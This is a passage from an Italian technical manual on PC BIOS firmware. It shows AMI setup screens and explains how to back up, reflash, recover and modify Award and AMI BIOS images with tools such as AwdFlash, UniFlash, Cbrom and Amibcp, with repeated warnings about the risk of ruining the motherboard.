 Security Settings                              Install or Change the
                                                password.
 Supervisor Password :N/A
 User Password       :N/A

 Change User Password
 Password Check              [N/A]

 Boot Sector Virus Protection [Disabled]

 Hard Drive Security

 Not allowed to set hard drive password!N/A    ↔     Select Screen
                                                ↑↓    Select Item
                                                Enter Change
                                                F1    General Help
                                                F10   Save and Exit
                                                ESC   Exit

          vMM.mm (C)Copyright 1985-2002, American Megatrends, Inc.
```

Figura 9.97. Programma di configurazione di un BIOS AMI con menù a tendina: menù alimentazione.[2]

```
                         BIOS SETUP UTILITY
  Main    Advanced    Security    Power    Boot    Exit

 Power Settings                                 Depending on AC or
                                                Battery powered, CPU
 Intel(R) SpeedStep(tm) tech.   [N/A]           speed will change
                                                based on the
                                                selections.
 ▶ Start Battery Calibration

                                                ↔     Select Screen
                                                ↑↓    Select Item
                                                +-    Change Option
                                                F1    General Help
                                                F10   Save and Exit
                                                ESC   Exit

          vMM.mm (C)Copyright 1985-2002, American Megatrends, Inc.
```

Figura 9.98. Programma di configurazione di un BIOS AMI con menù a tendina: menù avvio.[2]

```
                          BIOS SETUP UTILITY
   Main    Advanced    Security    Power    Boot    Exit

 Boot Settings                                  Configure Settings
                                                during System Boot.
 ▸ Boot Settings Configuration
 ▸ Boot Device Priority
 ▸ Hard Disk Drives
 ▸ Removable Drives
 ▸ ATAPI CDROM Drives
 Onboard LAN Boot ROM          [Disabled]

                                                ↔     Select Screen
                                                ↑↓    Select Item
                                                Enter Go to Sub Screen
                                                F1    General Help
                                                F10   Save and Exit
                                                ESC   Exit

        vMM.mm (C)Copyright 1985-2002, American Megatrends, Inc.
```

Figura 9.99. Programma di configurazione di un BIOS AMI con menù a tendina: menù uscita.[2]

```
                          BIOS SETUP UTILITY
   Main    Advanced    Security    Power    Boot    Exit

 Exit Options                                   Exit system setup
                                                after saving the
 Save Changes and Exit                          changes.
 Discard Changes and Exit
 Discard Changes                                F10 key can be used
                                                for this operation.
 Load Optimal Defaults

                                                ↔     Select Screen
                                                ↑↓    Select Item
                                                Enter Go to Sub Screen
                                                F1    General Help
                                                F10   Save and Exit
                                                ESC   Exit

        vMM.mm (C)Copyright 1985-2002, American Megatrends, Inc.
```

Figura 9.100. Programma di configurazione di un BIOS AMI con menù grafico: menù principale.[2]

Figura 9.101. Programma di configurazione di un BIOS AMI con menù grafico: menù avanzato.[2]

Figura 9.102. Programma di configurazione di un BIOS AMI con menù grafico: menù *chipset*.[2]

Figura 9.103. Programma di configurazione di un BIOS AMI con menù grafico: menù alimentazione.[2]

Figura 9.104. Programma di configurazione di un BIOS AMI con menù grafico: menù dispositivi integrati.[2]

Figura 9.105. Programma di configurazione di un BIOS AMI con menù grafico: modifica della parola d'ordine.[2]

9.8.5 Salvare e riscrivere il BIOS

Per salvare e riscrivere il BIOS, ogni casa produttrice mette a disposizione i propri strumenti. Nella migliore delle ipotesi si tratta di software per sistemi Dos, che dovrebbero funzionare anche con FreeDOS. In tal caso, rimane però la necessità di disporre di un'unità a dischetti per poter operare.

È importante che il sistema Dos installato nel dischetto, assieme al programma di servizio che si vuole usare, sia ridotto al minimo (il kernel e la shell '`COMMAND.COM`'), per garantire la massima disponibilità di memoria e per lasciare lo spazio necessario ai file temporanei.

Prima di riscrivere il BIOS, occorre accertarsi di disporre degli strumenti adatti alla propria scheda madre, perché gli strumenti generici che offrono i produttori dei BIOS potrebbero non essere adeguati. Oltre a questo occorre considerare che la riscrittura è sempre un'operazione rischiosa che, se fallisce o se viene eseguita utilizzando file inadatti, rende inutilizzabile la scheda madre. Pertanto, **chi esegue una tale operazione**, oltre che essere competente, **deve accettare questo rischio a proprie spese**.

9.8.6 BIOS Award

Tabella 9.106. Programma AwdFlash per salvare e riscrivere un BIOS Award. Questo programma si utilizza con un sistema Dos comune.

Versione	Indirizzo per la ricerca	Versione	Indirizzo per la ricerca
5.00	〈*http://www.google.com/search?q=awd500.zip*〉 〈*http://www.google.com/search?q=award+awdflash+5.00*〉	5.2b	〈*http://www.google.com/search?q=awd52b.zip*〉 〈*http://www.google.com/search?q=award+awdflash+5.2b*〉
5.2c	〈*http://www.google.com/search?q=awd52c.zip*〉 〈*http://www.google.com/search?q=award+awdflash+5.2c*〉	5.33	〈*http://www.google.com/search?q=awd533.zip*〉 〈*http://www.google.com/search?q=award+awdflash+5.33*〉
5.35	〈*http://www.google.com/search?q=awd535.zip*〉 〈*http://www.google.com/search?q=award+awdflash+5.35*〉	5.35b	〈*http://www.google.com/search?q=awd535b.zip*〉 〈*http://www.google.com/search?q=award+awdflash+5.35b*〉
6.24	〈*http://www.google.com/search?q=awd624.zip*〉 〈*http://www.google.com/search?q=award+awdflash+6.24*〉	6.50d	〈*http://www.google.com/search?q=awd650d.exe*〉 〈*http://www.google.com/search?q=award+awdflash+6.50d*〉
6.31	〈*http://www.google.com/search?q=awd631.zip*〉 〈*http://www.google.com/search?q=award+awdflash+6.31*〉	6.6	〈*http://www.google.com/search?q=awd66.zip*〉 〈*http://www.google.com/search?q=award+awdflash+6.6*〉
7.08	〈*http://www.google.com/search?q=awd708.zip*〉 〈*http://www.google.com/search?q=award+awdflash+7.08*〉	7.21	〈*http://www.google.com/search?q=awd721.zip*〉 〈*http://www.google.com/search?q=award+awdflash+7.21*〉
7.33	〈*http://www.google.com/search?q=awd733.zip*〉 〈*http://www.google.com/search?q=award+awdflash+7.33*〉	7.41	〈*http://www.google.com/search?q=awd741.zip*〉 〈*http://www.google.com/search?q=award+awdflash+7.41*〉
7.52	〈*http://www.google.com/search?q=awd752.zip*〉 〈*http://www.google.com/search?q=award+awdflash+7.52*〉	7.52c	〈*http://www.google.com/search?q=awd752c.zip*〉 〈*http://www.google.com/search?q=award+awdflash+7.52c*〉
7.53	〈*http://www.google.com/search?q=awd753.zip*〉 〈*http://www.google.com/search?q=award+awdflash+7.53*〉	7.56	〈*http://www.google.com/search?q=awd756.zip*〉 〈*http://www.google.com/search?q=award+awdflash+7.56*〉
7.64a	〈*http://www.google.com/search?q=awd764a.zip*〉 〈*http://www.google.com/search?q=award+awdflash+7.64a*〉	7.7	〈*http://www.google.com/search?q=awd77.zip*〉 〈*http://www.google.com/search?q=award+awdflash+7.7*〉
7.72	〈*http://www.google.com/search?q=awd772.zip*〉 〈*http://www.google.com/search?q=award+awdflash+7.72*〉	7.75	〈*http://www.google.com/search?q=awd775.zip*〉 〈*http://www.google.com/search?q=award+awdflash+7.75*〉
7.76a	〈*http://www.google.com/search?q=awd776a.zip*〉 〈*http://www.google.com/search?q=award+awdflash+7.76a*〉	7.78	〈*http://www.google.com/search?q=awd778.zip*〉 〈*http://www.google.com/search?q=award+awdflash+7.78*〉
7.89	〈*http://www.google.com/search?q=awd789.zip*〉 〈*http://www.google.com/search?q=award+awdflash+7.89*〉	7.95	〈*http://www.google.com/search?q=awd795.exe*〉 〈*http://www.google.com/search?q=award+awdflash+7.95*〉
7.97d	〈*http://www.google.com/search?q=awd797d.zip*〉 〈*http://www.google.com/search?q=award+awdflash+7.97d*〉	8.00	〈*http://www.google.com/search?q=awd800.zip*〉 〈*http://www.google.com/search?q=award+awdflash+8.00*〉
8.01	〈*http://www.google.com/search?q=awd801.zip*〉 〈*http://www.google.com/search?q=award+awdflash+8.01*〉	8.02	〈*http://www.google.com/search?q=awd802.zip*〉 〈*http://www.google.com/search?q=award+awdflash+8.02*〉
8.03	〈*http://www.google.com/search?q=awd803.zip*〉 〈*http://www.google.com/search?q=award+awdflash+8.03*〉	8.08	〈*http://www.google.com/search?q=awd808.zip*〉 〈*http://www.google.com/search?q=award+awdflash+8.08*〉
8.10	〈*http://www.google.com/search?q=awd810.zip*〉 〈*http://www.google.com/search?q=award+awdflash+8.10*〉	8.12	〈*http://www.google.com/search?q=awd812.zip*〉 〈*http://www.google.com/search?q=award+awdflash+8.12*〉
8.16	〈*http://www.google.com/search?q=awd816.zip*〉 〈*http://www.google.com/search?q=award+awdflash+8.16*〉	8.16a	〈*http://www.google.com/search?q=awd816a.zip*〉 〈*http://www.google.com/search?q=award+awdflash+8.16a*〉
8.20a	〈*http://www.google.com/search?q=awd820a.zip*〉 〈*http://www.google.com/search?q=award+awdflash+8.20a*〉	8.22a	〈*http://www.google.com/search?q=awd822a.zip*〉 〈*http://www.google.com/search?q=award+awdflash+8.22a*〉
8.23b	〈*http://www.google.com/search?q=awd823b.zip*〉 〈*http://www.google.com/search?q=award+awdflash+8.23b*〉	8.23h	〈*http://www.google.com/search?q=awd823h.zip*〉 〈*http://www.google.com/search?q=award+awdflash+8.23h*〉
8.23j	〈*http://www.google.com/search?q=awd823j.zip*〉 〈*http://www.google.com/search?q=award+awdflash+8.23j*〉	8.24f	〈*http://www.google.com/search?q=awd824f.zip*〉 〈*http://www.google.com/search?q=award+awdflash+8.24f*〉
8.24g	〈*http://www.google.com/search?q=awd824g.zip*〉 〈*http://www.google.com/search?q=award+awdflash+8.24g*〉	8.26f	〈*http://www.google.com/search?q=awd826f.zip*〉 〈*http://www.google.com/search?q=award+awdflash+8.26f*〉
8.26g	〈*http://www.google.com/search?q=awd826g.zip*〉 〈*http://www.google.com/search?q=award+awdflash+8.26g*〉	8.29e	〈*http://www.google.com/search?q=awd829e.zip*〉 〈*http://www.google.com/search?q=award+awdflash+8.29e*〉
8.30	〈*http://www.google.com/search?q=awd830.zip*〉 〈*http://www.google.com/search?q=award+awdflash+8.30*〉	8.33	〈*http://www.google.com/search?q=awd833.zip*〉 〈*http://www.google.com/search?q=award+awdflash+8.33*〉
8.52	〈*http://www.google.com/search?q=awd852.zip*〉 〈*http://www.google.com/search?q=award+awdflash+8.52*〉	8.54b	〈*http://www.google.com/search?q=awd854b.zip*〉 〈*http://www.google.com/search?q=award+awdflash+8.54b*〉

A titolo di esempio, la versione 8.22 del programma AwdFlash, può essere usata così:

- `A:\>` **`AWDFLASH /?`** [*Invio*]

  mostra una guida rapida all'uso del programma;

- `A:\>` **`AWDFLASH BIOS.ORG /pn /sy`** [*Invio*]

salva una copia del BIOS nel file ‘BIOS.ORG’;

- A:\> **AWDFLASH BIOS.NEW /py /sn** [*Invio*]

  riscrive il BIOS utilizzando il contenuto del file ‘BIOS.NEW’;

- A:\> **AWDFLASH BIOS.NEW /py /sn /cd /cp /cc** [*Invio*]

  riscrive il BIOS utilizzando il contenuto del file ‘BIOS.NEW’, azzerando però delle informazioni, tra cui la memoria C/MOS, costringendo così a rifare la configurazione.

Tabella 9.107. Programma Biosview per visualizzare la configurazione di un file contenente la copia di un BIOS Award. Questo programma si utilizza con un sistema Dos comune.

Versione	Indirizzo per la ricerca
1.00.00	⟨*http://www.google.com/search?q=biosview+1.00.00* ⟩
2.00.00	⟨*http://www.google.com/search?q=biosview+2.00.00* ⟩
2.00.05	⟨*http://www.google.com/search?q=biosview+2.00.05* ⟩
2.01.00	⟨*http://www.google.com/search?q=biosview+2.01.00* ⟩

A titolo di esempio, la versione 2.00.00 del programma Biosview, può essere usata così:

- A:\> **BIOSVIEW** [*Invio*]

  avvia il programma in modalità interattiva;

- A:\> **BIOSVIEW BIOS.BIN** [*Invio*]

  avvia il programma per visualizzare la configurazione del BIOS contenuta nel file ‘BIOS.BIN’.

9.8.7 BIOS AMI

Per salvare una copia del BIOS AMI in un file, si può tentare di utilizzare un programma generico, come UniFlash; a ogni modo, disponendo di un file contenente un BIOS AMI, la riscrittura della memoria «flash» contenuta nella scheda madre si ottiene semplicemente realizzando un dischetto in formato Dos-FAT, contenente esclusivamente il file ‘AMIBOOT.ROM’, che costituisce la copia del BIOS da ripristinare o da aggiornare. Con questo dischetto, si deve riavviare l’elaboratore, premendo eventualmente la combinazione [*Ctrl Inizio*] ([*Ctrl Home*]) per forzare l’aggiornamento.

Con le schede madri ASUS il comportamento può essere diverso: la combinazione dei tasti può essere [*Alt F2*] e il nome del file dipende al modello della scheda madre (viene evidenziato durante il tentativo di caricare il file dal dischetto).

9.8.8 UniFlash

UniFlash[3] è un programma generalizzato, per salvare e memorizzare tutti o quasi tutti i tipi di BIOS (⟨*http://www.rainbow-software.org/uniflash/*⟩), a partire da un sistema Dos, da avviare attraverso un dischetto.

UniFlash è costituito dal file eseguibile '**`UNIFLASH.EXE`**', che può essere utilizzato in modo interattivo, oppure specificando delle opzioni nella riga di comando:

```
UNIFLASH [opzioni]
```

Se non si utilizzano argomenti nella riga di comando, il programma funziona in modo interattivo. Questa modalità di funzionamento si presta per salvare il BIOS o parte di esso, oppure per aggiornare un BIOS quando tutto funziona ancora regolarmente.

Quando il BIOS risulta danneggiato per qualche ragione, può darsi che il codice del blocco di avvio (*bootblock*) contenuto del BIOS, sia ancora integro. In tal caso, si deve preparare un dischetto contenente un sistema Dos essenziale, il programma '**`UNIFLASH.EXE`**', la copia del BIOS da ripristinare e uno script '**`AUTOEXEC.BAT`**' realizzato in modo da eseguire automaticamente '**`UNIFLASH.EXE`**':

```
@UNIFLASH -E file_bios_da_ripristinare
```

Figura 9.109. Il menù principale durante il funzionamento interattivo di UniFlash.[2]

```
       UniFlash v1.40 (c) 2005 Rainbow Software (http://www.uniflash.org)
       Original version by Pascal van Leeuwen & Galkowski Adam

(1F03,FFFF)   Flash ROM chip: Atmel AT49x512 series (5V/3V/2.7V)
                Organisation: bulk erase (64K)
           Selected PCI card: PCI or AGP card at 00:0B:00
           Last write status: not available

                      Write backup BIOS image to file
                     Flash BIOS image INCLUDING bootblock
                     Flash backup BIOS image to Flash ROM
                              Redetect Flash ROM
                                CMOS submenu »
                              ADVANCED submenu »

                                    Quit

ROM base: 80000000, memory dump at 80000000-->(AA55E97F)
Memory: XMSPos=00100000, XMSLeft=1072693248
Write backup BIOS image from memory to file
```

Figura 9.110. Il menù CMOS.

```
         Save CMOS data to file
      Restore CMOS data from file
            Clear CMOS date
        Restore backup CMOS data

          « Back to main menu
```

Figura 9.111. Il menù ADVANCED.

```
Flash BIOS image WITHOUT bootblock
Write boot block to file
Flash bootblock to Flash ROM

« Back to main menu
```

Tabella 9.112. Alcune opzioni.

Opzione	Descrizione
`-H` `-?`	Mostra la guida rapida all'uso del programma.
`-E` ***file***	Sovrascrive la memoria «flash» con il contenuto del file indicato, senza fare alcuna richiesta di conferma.
`-LOG`	Registra le operazioni eseguite nel file '`UNIFLASH.LOG`'.
`-MONO`	Serve per l'uso interattivo, allo scopo di non usare i colori, nel caso lo schermo non consenta una visualizzazione soddisfacente.
`-CHIPLIST`	Mostra l'elenco degli integrati di memoria che sono gestiti dal programma.
`-SAVE` ***file***	Salva una copia del BIOS nel file indicato.
`-CMOSS` ***file***	Salva una copia della memoria CMOS nel file indicato.
`-CMOSR` ***file***	Recupera una copia della memoria CMOS dal file indicato.

9.8.9 Recupero disperato di un BIOS

È possibile danneggiare il BIOS attraverso un'operazione di aggiornamento che fallisce, oppure sovrascrivendo dei dati errati o inadatti, ma oltre al questo, anche un virus (come qualunque altro tipo di programma malizioso) che ottenga dal sistema operativo i privilegi necessari, potrebbe cancellare o alterare la memoria del BIOS.

Danneggiare il BIOS significa perdere l'uso della scheda madre. Se ne vale la pena, a pagamento, si può chiedere aiuto al venditore per ottenere una copia del BIOS su un altro integrato, o sullo stesso integrato che è stato cancellato o modificato incautamente. Ci sono anche aziende specializzate che offrono un servizio di ripristino del BIOS a pagamento (per esempio ⟨*http://www.jumperz.de*⟩). In alternativa, se si dispone di una scheda madre identica, si può valutare la possibilità di fare una copia in casa: attraverso gli strumenti appropriati alla scheda madre, si deve fare una copia del BIOS funzionante, quindi, con la scheda madre in funzione, occorre estrarre l'integrato buono e sostituirlo con quello da riprogrammare, per poi sovrascrivergli la copia del BIOS precedente.

Questo procedimento, noto come *hot-flash*, è molto rischioso, perché l'estrazione dell'integrato a scheda accesa, implica il pericolo di creare qualche corto circuito nel momento dell'intervento; inoltre, l'inserimento dell'integrato da riprogrammare, deve avvenire in modo esatto, perché invertendo l'orientamento lo si distrugge, a causa dell'alimentazione che giunge nei piedini sbagliati.

Disponendo di software appropriato, come potrebbe essere UniFlash, l'operazione di scrittura del BIOS a caldo può essere fatta anche con una scheda madre differente, purché utilizzi lo stesso integrato di memoria.

Non è il caso di elencare quali difficoltà si creano; è evidente che per una cosa del genere occorre esperienza e l'accettazione totale del rischio di danneggiare anche la scheda madre che ancora risulta funzionante. Pertanto, il procedimento viene menzionato in questa sezione, solo come idea, che però non è mai stata verificata in pratica dall'autore.

9.9 Modifica di un BIOS modulare

I BIOS più sofisticati sono «modulari», in quanto realizzati con componenti sostituibili in funzione delle caratteristiche della scheda madre.

Dal punto di vista dell'utente comune e anche da quello di chi aggiorna il BIOS della propria scheda madre, la modularità del BIOS non comporta alcuna differenza, perché si tratta al massimo di prelevare un BIOS aggiornato e completo dal sito della casa produttrice; tuttavia, la possibilità di sostituire un modulo, con qualcosa di non previsto, può diventare importante, soprattutto per rendere avviabile il sistema attraverso la rete, con una vecchia scheda madre che non sia già in grado di farlo.

Se l'aggiornamento del BIOS è un'operazione delicata e piena di rischi, la sostituzione dei moduli è un'operazione ancora più delicata e pericolosa. Pertanto, solo chi non ha paura di perdere l'uso della scheda madre si può cimentare in questo tipo di esperimenti.

9.9.1 BIOS modulari Award

Per intervenire nei moduli di un BIOS modulare Award, occorre fare una copia del BIOS in un file (solitamente con il programma AwdFlash, descritto nella sezione 9.8.6), quindi si modifica questo file attraverso strumenti appropriati. Normalmente si utilizza il programma Cbrom,[4] oppure Awardmod,[5] che però può essere usato soltanto attraverso un sistema MS-Windows (a 32 bit).

Tabella 9.113. Programma Cbrom per intervenire nei moduli di un BIOS Award. Questo programma si utilizza con un sistema Dos comune.

Versione	Indirizzo per la ricerca	Annotazioni
1.12c	⟨*http://www.google.com/search?q=cbrom112c.zip*⟩ ⟨*http://www.google.com/search?q=award+cbrom+1.12c*⟩	Per BIOS versione 4.5.
1.13a	⟨*http://www.google.com/search?q=cbrom113a.zip*⟩ ⟨*http://www.google.com/search?q=award+cbrom+1.13a*⟩	Per BIOS versione 4.5.
1.24c	⟨*http://www.google.com/search?q=cbrom124c.zip*⟩ ⟨*http://www.google.com/search?q=award+cbrom+1.24c*⟩	Per BIOS versione 4.5.
1.26b	⟨*http://www.google.com/search?q=cbrom126b.zip*⟩ ⟨*http://www.google.com/search?q=award+cbrom+1.26b*⟩	Per BIOS versione 4.5.
1.30	⟨*http://www.google.com/search?q=cbrom130.zip*⟩ ⟨*http://www.google.com/search?q=award+cbrom+1.30*⟩	Per BIOS versione 4.5.
1.30b	⟨*http://www.google.com/search?q=cbrom130b.zip*⟩ ⟨*http://www.google.com/search?q=award+cbrom+1.30b*⟩	Per BIOS versione 4.5.

Versione	Indirizzo per la ricerca	Annotazioni
1.30c	⟨*http://www.google.com/search?q=cbrom130c.zip* ⟩ ⟨*http://www.google.com/search?q=award+cbrom+1.30c* ⟩	Per BIOS versione 4.5.
1.32	⟨*http://www.google.com/search?q=cbrom132.zip* ⟩ ⟨*http://www.google.com/search?q=award+cbrom+1.32* ⟩	Per BIOS versione 4.5.
6.02b	⟨*http://www.google.com/search?q=cbrom602b.zip* ⟩ ⟨*http://www.google.com/search?q=award+cbrom+6.02b* ⟩	Per BIOS versione 6.0.
6.06	⟨*http://www.google.com/search?q=cbrom606.zip* ⟩ ⟨*http://www.google.com/search?q=award+cbrom+6.06* ⟩	Per BIOS versione 6.0.
2.01a	⟨*http://www.google.com/search?q=cbrom201a.zip* ⟩ ⟨*http://www.google.com/search?q=award+cbrom+2.01a* ⟩	Per BIOS versione 4.5 e 6.0.
2.07	⟨*http://www.google.com/search?q=cbrom207.zip* ⟩ ⟨*http://www.google.com/search?q=award+cbrom+2.07* ⟩	Per BIOS versione 4.5 e 6.0.
2.08	⟨*http://www.google.com/search?q=cbrom208.zip* ⟩ ⟨*http://www.google.com/search?q=award+cbrom+2.08* ⟩	Per BIOS versione 4.5 e 6.0.
2.15	⟨*http://www.google.com/search?q=cbrom215.zip* ⟩ ⟨*http://www.google.com/search?q=award+cbrom+2.15* ⟩	Per BIOS versione 4.5 e 6.0.

La sintassi per l'utilizzo di Cbrom è complessa, in quanto non si presenta in modo logico. Viene mostrato un esempio, attraverso dei passaggi, che però non è generalizzato a sufficienza. Si tratta del tentativo di sostituire il logo EPA con un'immagine diversa (si osservi che se il file usato in sostituzione non è compatibile, si può ottenere un'alterazione dell'immagine dello schermo all'avvio).

- `A:\>` **`CBROM215`** [*Invio*]

  In questo caso il file eseguibile si chiama '**`CBROM215.EXE`**' e viene avviato senza argomenti per ottenere il riepilogo della sintassi:

```
CBROM V2.15 (C)Award Software 2001 All Rights Reserved.
Syntax:
     A:\CBROM215.EXE InputFile [/other] [8000:0] [RomFile|Release|Extract]
     A:\CBROM215.EXE InputFile [/D|logo|vga....] [RomFile|Release|Extract]
          InputFile    : System BIOS to be added with Option ROMs
          /D           : For display all combined ROMs informations in BIOS
          /epa|epa1-7 : Add EPA LOGO BitMap to System BIOS
          /logo|logo1-7: Add OEM LOGO BitMap to System BIOS
          /oem0-7      : Add special OEM ROM to System BIOS
          /err         : Return error code after executed
          /btvga       : Add VGA ROM to Boot Rom Block Area.
          /isa         : Add ISA BIOS ROM to System BIOS.(/isa Filename [xxxx:0])
          /vga, /logo, /pci, /awdflash, /cpucode, /epa, /acpitbl, /vsa, /hpm
          /hpc, /fnt0 - 5, /ros, /nnoprom, /mib, /group

          RomFile    : File name of option ROM to add-in
          Release    : Release option ROM in current system BIOS
          Extract    : Extract option ROM to File in current system BIOS
                       <<< Examples >>>
            A:\CBROM215.EXE 2a4ib000.bin /D
            A:\CBROM215.EXE 2a4ib000.bin /VGA filename
            A:\CBROM215.EXE 2a4ib000.bin /VGA filename /ERR
```

- `A:\>` **`CBROM215 BACKUP.BIN /D`** [*Invio*]

Si fa leggere al programma il file '`BACKUP.BIN`', contenente una copia di un BIOS Award, allo scopo di elencarne le componenti:

```
CBROM V2.15 (C)Award Software 2001 All Rights Reserved.

              ********   BACKUP.BIN BIOS component ********

 No. Item-Name         Original-Size   Compressed-Size Original-File-Name
================================================================================
  0. System BIOS       20000h(128.00K) 13A20h(78.53K)  original.tmp
  1. XGROUP CODE       08C90h(35.14K)  05F4Eh(23.83K)  awardext.rom
  2. CPU micro code    02000h(8.00K)   017C9h(5.95K)   CPUCODE.BIN
  3. ACPI table        023C9h(8.95K)   00F31h(3.80K)   ACPITBL.BIN
  4. EPA LOGO          0168Ch(5.64K)   002AAh(0.67K)   AwardBmp.bmp
  5. YGROUP ROM        02760h(9.84K)   01B7Fh(6.87K)   awardeyt.rom

  Total compress code space  = 33A20h(206.53K)
  Total compressed code size = 1DE91h(119.64K)
  Remain compress code space = 15B8Fh(86.89K)

                          ** Micro Code Information **
Update ID  CPUID  |  Update ID  CPUID  |  Update ID  CPUID  |  Update ID  CPUID
------------------+--------------------+--------------------+-------------------
PPGA   11   0681  |  PPGA   10   0683  |  PPGA   08   0686  |  PPGA   03   0665
```

- `A:\>` **`CBROM215 BACKUP.BIN /EPA EXTRACT`** [*Invio*]

  Richiede l'estrazione di una copia del modulo «EPA», che in pratica contiene il logo EPA. Si tratta di un file grafico in un formato speciale; il programma richiede di specificare un nome che comunque viene suggerito:

  `Enter an extract file name:  (AwardBmp.bmp)` [*Invio*]

  Avendo confermato si ottiene il file con il nome suggerito: '`AWARDBMP.BMP`'.

- `A:\>` **`CBROM215 BACKUP.BIN /EPA RELEASE`** [*Invio*]

  Rimuove il modulo «EPA» dal file '`BACKUP.BIN`'.

  ```
  CBROM V2.15 (C)Award Software 2001 All Rights Reserved.
  [EPA] ROM is release
  ```

- `A:\>` **`CBROM215 BACKUP.BIN /D`** [*Invio*]

  Si fa rileggere al programma il file '`BACKUP.BIN`', con la nuova situazione:

```
CBROM V2.15 (C)Award Software 2001 All Rights Reserved.

              ********   BACKUP.BIN BIOS component ********

 No. Item-Name         Original-Size   Compressed-Size Original-File-Name
================================================================================
  0. System BIOS       20000h(128.00K) 13A20h(78.53K)  original.tmp
  1. XGROUP CODE       08C90h(35.14K)  05F4Eh(23.83K)  awardext.rom
  2. CPU micro code    02000h(8.00K)   017C9h(5.95K)   CPUCODE.BIN
  3. ACPI table        023C9h(8.95K)   00F31h(3.80K)   ACPITBL.BIN
  4. YGROUP ROM        02760h(9.84K)   01B7Fh(6.87K)   awardeyt.rom

  Total compress code space  = 33A20h(206.53K)
  Total compressed code size = 1DBE7h(118.98K)
  Remain compress code space = 15E39h(87.56K)

                          ** Micro Code Information **
Update ID  CPUID  |  Update ID  CPUID  |  Update ID  CPUID  |  Update ID  CPUID
------------------+--------------------+--------------------+-------------------
PPGA   11   0681  |  PPGA   10   0683  |  PPGA   08   0686  |  PPGA   03   0665
```

- `A:\>` **`CBROM215 BACKUP.BIN /EPA PINGU2.EPA`** [*Invio*]

  Richiede la sostituzione del modulo «EPA» utilizzando il file '`PINGU2.EPA`' (che deve essere del formato appropriato).

```
CBROM V2.15 (C)Award Software 2001 All Rights Reserved.
Adding pingu2.epa  42.6%
```

- `A:\>` **`CBROM215 BACKUP.BIN /D`** [*Invio*]

  Si fa rileggere al programma il file '`BACKUP.BIN`', con la nuova situazione:

```
CBROM V2.15 (C)Award Software 2001 All Rights Reserved.

              ********   BACKUP.BIN BIOS component ********

 No. Item-Name         Original-Size   Compressed-Size Original-File-Name
================================================================================
  0. System BIOS       20000h(128.00K) 13A20h(78.53K)  original.tmp
  1. XGROUP CODE       08C90h(35.14K)  05F4Eh(23.83K)  awardext.rom
  2. CPU micro code    02000h(8.00K)   017C9h(5.95K)   CPUCODE.BIN
  3. ACPI table        023C9h(8.95K)   00F31h(3.80K)   ACPITBL.BIN
  4. YGROUP ROM        02760h(9.84K)   01B7Fh(6.87K)   awardeyt.rom
  5. EPA LOGO          004CBh(1.20K)   00231h(0.55K)   pingu2.epa

  Total compress code space  = 33A20h(206.53K)
  Total compressed code size = 1DE18h(119.52K)
  Remain compress code space = 15C08h(87.01K)

                          ** Micro Code Information **
Update ID  CPUID  |  Update ID  CPUID  |  Update ID  CPUID  |  Update ID  CPUID
------------------+--------------------+--------------------+-------------------
PPGA   11   0681  |  PPGA   10   0683  |  PPGA   08   0686  |  PPGA   03   0665
```

9.9.2 BIOS modulari AMI

Per intervenire nei moduli di un BIOS modulare AMI, occorre fare una copia del BIOS in un file (solitamente con il programma AwdFlash, descritto nella sezione 9.8.6), quindi si modifica questo file attraverso strumenti appropriati. Normalmente si utilizza il programma Amibcp,[6] che richiede un sistema operativo Dos.

Riquadro 9.120. Problemi di compatibilità.

È da osservare che il programma Amibcp può creare dei problemi con alcune schede madri. Presso *AMIBCP Repository*, un tempo disponibile presso `http://www.stormpages.com/crazyape/amibcp.html`, appariva questa nota:

> *The AMIBCP program contains a bug in is colour menu mode that will corrupt the BIOS on MSI motherboards (I'm sure other brands are an issue as well though I've not had any reports as yet), this bug does not occur when the program is used in command line mode. Use the following command from the command line to replace the built in module with the modified one, then flash your modified BIOS into the motherboard.*
>
> `A:\>` **`AMIBCP bios.bin /R fullhack.bin 20 /M 0D30 105A`**[*Enter*]

Si osservi, comunque, che l'esempio fa riferimento a un modulo particolare e i parametri indicati non sono validi in generale.

Tabella 9.121. Programma Amibcp per intervenire nei moduli di un BIOS AMI. Questo programma si utilizza con un sistema Dos comune.

Versione	Indirizzo per la ricerca
7.00	⟨http://www.google.com/search?q=amibcp+download ⟩
7.01.01	⟨http://www.google.com/search?q=amibcp+download ⟩
7.51.03	⟨http://www.google.com/search?q=amibcp+download ⟩

Vengono mostrate alcune schermate sul funzionamento di Amibcp nelle figure successive.

Figura 9.122. Inserimento iniziale del nome del file contenente il BIOS da modificare.

Figura 9.123. Selezionando la voce `Edit BIOS Modules` si passa all'elenco dei moduli del BIOS.

Figura 9.124. Premendo il tasto [*Ins*], si richiede l'aggiunta di un modulo.

Figura 9.125. Dopo l'indicazione del modulo, viene richiesto di confermarne le caratteristiche. Si completa l'inserimento del modulo con il tasto [*F10*].

Figura 9.126. Al termine il modulo inserito appare nell'elenco e si può poi ritornare al menù iniziale (con il tasto [*Esc*]), da dove si può richiedere di salvare il file modificato.

```
AMIBCP - AMIBIOS Configuration Utility
Copyright (C)2001 American Megatrends Inc. All Rights Reserved. Ver.7.51.03

Edit BIOS Modules
ModuleID/ModuleName   SourceSize     SizeInRom      Dest.Addr  DevID:VenID
>04 Setup Client      6E7B (28283)   4179 (16761)   Dynamic
 0C ROM-ID            0008 (00008)   0014 (00020)   Dynamic
>0E OEM Logo          B436 (46134)   3E71 (15985)   Dynamic
>1A UserDefined       26A2 (09890)   053E (01342)   Dynamic
>18 UserDefined       3EDB (16091)   1660 (05728)   Dynamic
>19 UserDefined       1304 (04868)   05A7 (01447)   Dynamic
>1B UserDefined       120C (04620)   3624 (13860)   Dynamic
>21 Multilanguage     7F7A (32634)   39AB (14763)   0000:5593
>20 PCI AddOn ROM     E000 (57344)   89E5 (35301)              5834:1002
 30 Font DataBase     0048 (00072)   0054 (00084)   Dynamic
 15 UserDefined       55EC (21996)   55F8 (22008)   Dynamic
 11 P6 Micro Code     B80C (47116)   B818 (47128)   Dynamic
>06 DMI Data          0800 (02048)   036C (00876)   Dynamic
 80 UserDefined       0044 (00068)   0050 (00080)   Dynamic
>20 PCI AddOn ROM     8000 (32768)   5B6D (23405)              9202:10B7

BIOS Information
BIOS Date : 09/02/04   BIOS Version   : 0800   BIOS Tag : P4RVM000
NVRAM Size: 48 Kb      BootBlock Size: 80 Kb   BIOS Size: 512 Kb
Availabel Memory: 016437 (0091191)   Remaining Memory: 069BC9 (0433097)

[F7]View  [F9]DOS Shell  [ESC]Back to menu  [↑]/[↓]/[→]/[←]Move highlight bar
[Enter]Edit module [Space]Extract module [Ins]Insert module [Del]Delete module
```

9.10 Memoria centrale difettosa

